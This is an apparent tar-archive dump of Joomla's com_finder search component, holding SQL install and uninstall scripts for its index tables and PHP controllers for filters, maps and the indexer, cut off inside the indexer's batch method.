UPDATE "#__finder_terms_common" SET ("term", "language") = ('or', 'en') WHERE "term"='or';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'or', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='or');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('other', 'en') WHERE "term"='other';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'other', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='other');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('our', 'en') WHERE "term"='our';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'our', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='our');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('ours', 'en') WHERE "term"='ours';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'ours', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ours');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('out', 'en') WHERE "term"='out';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'out', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='out');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('over', 'en') WHERE "term"='over';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'over', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='over');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('page', 'en') WHERE "term"='page';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'page', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='page');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('she', 'en') WHERE "term"='she';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'she', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='she');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('should', 'en') WHERE "term"='should';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'should', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='should');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('small', 'en') WHERE "term"='small';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'small', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='small');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('so', 'en') WHERE "term"='so';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'so', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='so');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('some', 'en') WHERE "term"='some';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'some', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='some');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('than', 'en') WHERE "term"='than';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'than', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='than');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('thank', 'en') WHERE "term"='thank';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'thank', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='thank');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('that', 'en') WHERE "term"='that';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'that', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='that');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('the', 'en') WHERE "term"='the';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'the', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='the');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('their', 'en') WHERE "term"='their';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'their', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='their');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('theirs', 'en') WHERE "term"='theirs';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'theirs', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='theirs');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('them', 'en') WHERE "term"='them';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'them', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='them');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('then', 'en') WHERE "term"='then';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'then', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='then');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('there', 'en') WHERE "term"='there';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'there', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='there');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('these', 'en') WHERE "term"='these';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'these', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='these');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('they', 'en') WHERE "term"='they';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'they', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='they');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('this', 'en') WHERE "term"='this';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'this', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='this');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('those', 'en') WHERE "term"='those';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'those', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='those');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('thus', 'en') WHERE "term"='thus';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'thus', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='thus');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('time', 'en') WHERE "term"='time';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'time', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='time');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('times', 'en') WHERE "term"='times';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'times', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='times');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('to', 'en') WHERE "term"='to';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'to', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='to');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('too', 'en') WHERE "term"='too';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'too', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='too');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('true', 'en') WHERE "term"='true';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'true', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='true');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('under', 'en')WHERE "term"='under';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'under', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='under');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('until', 'en') WHERE "term"='until';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'until', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='until');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('up', 'en') WHERE "term"='up';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'up', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='up');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('upon', 'en') WHERE "term"='upon';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'upon', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='upon');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('use', 'en') WHERE "term"='use';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'use', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='use');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('user', 'en') WHERE "term"='user';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'user', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='user');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('users', 'en') WHERE "term"='users';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'users', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='users');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('version', 'en') WHERE "term"='version';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'version', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='version');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('very', 'en') WHERE "term"='very';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'very', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='very');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('via', 'en') WHERE "term"='via';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'via', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='via');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('want', 'en') WHERE "term"='want';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'want', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='want');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('was', 'en') WHERE "term"='was';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'was', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='was');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('way', 'en') WHERE "term"='way';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'way', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='way');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('were', 'en') WHERE "term"='were';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'were', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='were');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('what', 'en') WHERE "term"='what';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'what', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='what');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('when', 'en') WHERE "term"='when';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'when', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='when');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('where', 'en') WHERE "term"='where';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'where', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='where');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('which', 'en') WHERE "term"='which';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'which', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='which');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('who', 'en') WHERE "term"='who';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'who', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='who');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('whom', 'en') WHERE "term"='whom';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'whom', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whom');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('whose', 'en') WHERE "term"='whose';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'whose', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='whose');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('why', 'en') WHERE "term"='why';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'why', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='why');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('wide', 'en') WHERE "term"='wide';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'wide', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='wide');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('will', 'en') WHERE "term"='will';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'will', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='will');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('with', 'en') WHERE "term"='with';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'with', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='with');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('within', 'en') WHERE "term"='within';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'within', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='within');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('without', 'en') WHERE "term"='without';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'without', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='without');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('would', 'en') WHERE "term"='would';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'would', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='would');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('yes', 'en') WHERE "term"='yes';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'yes', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yes');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('yet', 'en') WHERE "term"='yet';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'yet', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yet');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('you', 'en') WHERE "term"='you';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'you', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='you');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('your', 'en') WHERE "term"='your';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'your', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='your');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('yours', 'en') WHERE "term"='yours';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'yours', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='yours');



--
-- Table: #__finder_tokens
--
CREATE TABLE "#__finder_tokens" (
  "term" character varying(75) NOT NULL,
  "stem" character varying(75) NOT NULL,
  "common" smallint DEFAULT 0 NOT NULL,
  "phrase" smallint DEFAULT 0 NOT NULL,
  "weight" numeric(8,2) DEFAULT 1 NOT NULL,
  "context" smallint DEFAULT 2 NOT NULL
);
CREATE INDEX "#__finder_tokens_idx_word" on "#__finder_tokens" ("term");
CREATE INDEX "#__finder_tokens_idx_context" on "#__finder_tokens" ("context");

--
-- Table: #__finder_tokens_aggregate
--
CREATE TABLE "#__finder_tokens_aggregate" (
  "term_id" integer NOT NULL,
  "map_suffix" character(1) NOT NULL,
  "term" character varying(75) NOT NULL,
  "stem" character varying(75) NOT NULL,
  "common" smallint DEFAULT 0 NOT NULL,
  "phrase" smallint DEFAULT 0 NOT NULL,
  "term_weight" numeric(8,2) NOT NULL,
  "context" smallint DEFAULT 2 NOT NULL,
  "context_weight" numeric(8,2) NOT NULL,
  "total_weight" numeric(8,2) NOT NULL
);
CREATE INDEX "#__finder_tokens_aggregate_token" on "#__finder_tokens_aggregate" ("term");
CREATE INDEX "_#__finder_tokens_aggregate_keyword_id" on "#__finder_tokens_aggregate" ("term_id");

--
-- Table: #__finder_types
--
CREATE TABLE "#__finder_types" (
  "id" serial NOT NULL,
  "title" character varying(100) NOT NULL,
  "mime" character varying(100) NOT NULL,
  PRIMARY KEY ("id"),
  CONSTRAINT "#__finder_types_title" UNIQUE ("title")
);

com_finder/sql/uninstall.mysql.sql000060400000002167152455305310013353 0ustar00DROP TABLE IF EXISTS `#__finder_filters`;
DROP TABLE IF EXISTS `#__finder_links`;
DROP TABLE IF EXISTS `#__finder_links_terms0`;
DROP TABLE IF EXISTS `#__finder_links_terms1`;
DROP TABLE IF EXISTS `#__finder_links_terms2`;
DROP TABLE IF EXISTS `#__finder_links_terms3`;
DROP TABLE IF EXISTS `#__finder_links_terms4`;
DROP TABLE IF EXISTS `#__finder_links_terms5`;
DROP TABLE IF EXISTS `#__finder_links_terms6`;
DROP TABLE IF EXISTS `#__finder_links_terms7`;
DROP TABLE IF EXISTS `#__finder_links_terms8`;
DROP TABLE IF EXISTS `#__finder_links_terms9`;
DROP TABLE IF EXISTS `#__finder_links_termsa`;
DROP TABLE IF EXISTS `#__finder_links_termsb`;
DROP TABLE IF EXISTS `#__finder_links_termsc`;
DROP TABLE IF EXISTS `#__finder_links_termsd`;
DROP TABLE IF EXISTS `#__finder_links_termse`;
DROP TABLE IF EXISTS `#__finder_links_termsf`;
DROP TABLE IF EXISTS `#__finder_taxonomy`;
DROP TABLE IF EXISTS `#__finder_taxonomy_map`;
DROP TABLE IF EXISTS `#__finder_terms`;
DROP TABLE IF EXISTS `#__finder_terms_common`;
DROP TABLE IF EXISTS `#__finder_tokens`;
DROP TABLE IF EXISTS `#__finder_tokens_aggregate`;
DROP TABLE IF EXISTS `#__finder_types`;
com_finder/controllers/filter.php000060400000016420152455305310013217 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Indexer controller class for Finder.
 *
 * @since  2.5
 */
class FinderControllerFilter extends JControllerForm
{
	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   2.5
	 */
	public function save($key = null, $urlVar = null)
	{
		// Check for request forgeries.
		$this->checkToken();

		$app = JFactory::getApplication();
		$input = $app->input;
		$model = $this->getModel();
		$table = $model->getTable();
		$data = $input->post->get('jform', array(), 'array');
		$checkin = property_exists($table, 'checked_out');
		$context = "$this->option.edit.$this->context";
		$task = $this->getTask();

		// Determine the name of the primary key for the data.
		if (empty($key))
		{
			$key = $table->getKeyName();
		}

		// To avoid data collisions the urlVar may be different from the primary key.
		if (empty($urlVar))
		{
			$urlVar = $key;
		}

		$recordId = $input->get($urlVar, '', 'int');

		if (!$this->checkEditId($context, $recordId))
		{
			// Somehow the person just went to the form and tried to save it. We don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false));

			return false;
		}

		// Populate the row id from the session.
		$data[$key] = $recordId;

		// The save2copy task needs to be handled slightly differently.
		if ($task === 'save2copy')
		{
			// Check-in the original row.
			if ($checkin && $model->checkin($data[$key]) === false)
			{
				// Check-in failed. Go back to the item and display a notice.
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()));
				$this->setMessage($this->getError(), 'error');
				$this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $urlVar));

				return false;
			}

			// Reset the ID and then treat the request as for Apply.
			$data[$key] = 0;
			$task = 'apply';
		}

		// Access check.
		if (!$this->allowSave($data, $key))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false));

			return false;
		}

		// Validate the posted data.
		// Sometimes the form needs some posted data, such as for plugins and modules.
		$form = $model->getForm($data, false);

		if (!$form)
		{
			$app->enqueueMessage($model->getError(), 'error');

			return false;
		}

		// Test whether the data is valid.
		$validData = $model->validate($form, $data);

		// Check for validation errors.
		if ($validData === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Save the data in the session.
			$app->setUserState($context . '.data', $data);

			// Redirect back to the edit screen.
			$this->setRedirect(
				JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)
			);

			return false;
		}

		// Get and sanitize the filter data.
		$validData['data'] = $input->post->get('t', array(), 'array');
		$validData['data'] = array_unique($validData['data']);
		$validData['data'] = ArrayHelper::toInteger($validData['data']);

		// Remove any values of zero.
		if (array_search(0, $validData['data'], true))
		{
			unset($validData['data'][array_search(0, $validData['data'], true)]);
		}

		// Attempt to save the data.
		if (!$model->save($validData))
		{
			// Save the data in the session.
			$app->setUserState($context . '.data', $validData);

			// Redirect back to the edit screen.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(
				JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)
			);

			return false;
		}

		// Save succeeded, so check-in the record.
		if ($checkin && $model->checkin($validData[$key]) === false)
		{
			// Save the data in the session.
			$app->setUserState($context . '.data', $validData);

			// Check-in failed, so go back to the record and display a notice.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key));

			return false;
		}

		$this->setMessage(
			JText::_(
				(JFactory::getLanguage()->hasKey($this->text_prefix . ($recordId === 0 && $app->isClient('site') ? '_SUBMIT' : '') . '_SAVE_SUCCESS')
				? $this->text_prefix : 'JLIB_APPLICATION') . ($recordId === 0 && $app->isClient('site') ? '_SUBMIT' : '') . '_SAVE_SUCCESS'
			)
		);

		// Redirect the user and adjust session state based on the chosen task.
		switch ($task)
		{
			case 'apply':
				// Set the record data in the session.
				$recordId = $model->getState($this->context . '.id');
				$this->holdEditId($context, $recordId);
				$app->setUserState($context . '.data', null);
				$model->checkout($recordId);

				// Redirect back to the edit screen.
				$this->setRedirect(
					JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, $key), false)
				);

				break;

			case 'save2new':
				// Clear the record id and data from the session.
				$this->releaseEditId($context, $recordId);
				$app->setUserState($context . '.data', null);

				// Redirect back to the edit screen.
				$this->setRedirect(
					JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(null, $key), false)
				);

				break;

			default:
				// Clear the record id and data from the session.
				$this->releaseEditId($context, $recordId);
				$app->setUserState($context . '.data', null);

				// Redirect to the list screen.
				$this->setRedirect(
					JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)
				);

				break;
		}

		// Invoke the postSave method to allow for the child class to access the model.
		$this->postSaveHook($model, $validData);

		return true;
	}
}
com_finder/controllers/filters.php000060400000001557152455305310013407 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Filters controller class for Finder.
 *
 * @since  2.5
 */
class FinderControllerFilters extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   2.5
	 */
	public function getModel($name = 'Filter', $prefix = 'FinderModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_finder/controllers/maps.php000060400000001547152455305310012676 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Maps controller class for Finder.
 *
 * @since  2.5
 */
class FinderControllerMaps extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Maps', $prefix = 'FinderModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_finder/controllers/indexer.json.php000060400000024677152455305310014355 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Register dependent classes.
JLoader::register('FinderIndexer', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/indexer.php');

/**
 * Indexer controller class for Finder.
 *
 * @since  2.5
 */
class FinderControllerIndexer extends JControllerLegacy
{
	/**
	 * Method to start the indexer.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function start()
	{
		$params = JComponentHelper::getParams('com_finder');

		if ($params->get('enable_logging', '0'))
		{
			$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
			$options['text_file'] = 'indexer.php';
			JLog::addLogger($options);
		}

		// Log the start
		try
		{
			JLog::add('Starting the indexer', JLog::INFO);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// We don't want this form to be cached.
		$app = JFactory::getApplication();
		$app->setHeader('Expires', 'Mon, 1 Jan 2001 00:00:00 GMT', true);
		$app->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
		$app->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);
		$app->setHeader('Pragma', 'no-cache');

		// Check for a valid token. If invalid, send a 403 with the error message.
		JSession::checkToken('request') or static::sendResponse(new Exception(JText::_('JINVALID_TOKEN_NOTICE'), 403));

		// Put in a buffer to silence noise.
		ob_start();

		// Reset the indexer state.
		FinderIndexer::resetState();

		// Import the finder plugins.
		JPluginHelper::importPlugin('finder');

		// Add the indexer language to JS
		JText::script('COM_FINDER_AN_ERROR_HAS_OCCURRED');
		JText::script('COM_FINDER_NO_ERROR_RETURNED');

		// Start the indexer.
		try
		{
			// Trigger the onStartIndex event.
			JEventDispatcher::getInstance()->trigger('onStartIndex');

			// Get the indexer state.
			$state = FinderIndexer::getState();
			$state->start = 1;

			// Send the response.
			static::sendResponse($state);
		}

		// Catch an exception and return the response.
		catch (Exception $e)
		{
			static::sendResponse($e);
		}
	}

	/**
	 * Method to run the next batch of content through the indexer.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function batch()
	{
		$params = JComponentHelper::getParams('com_finder');

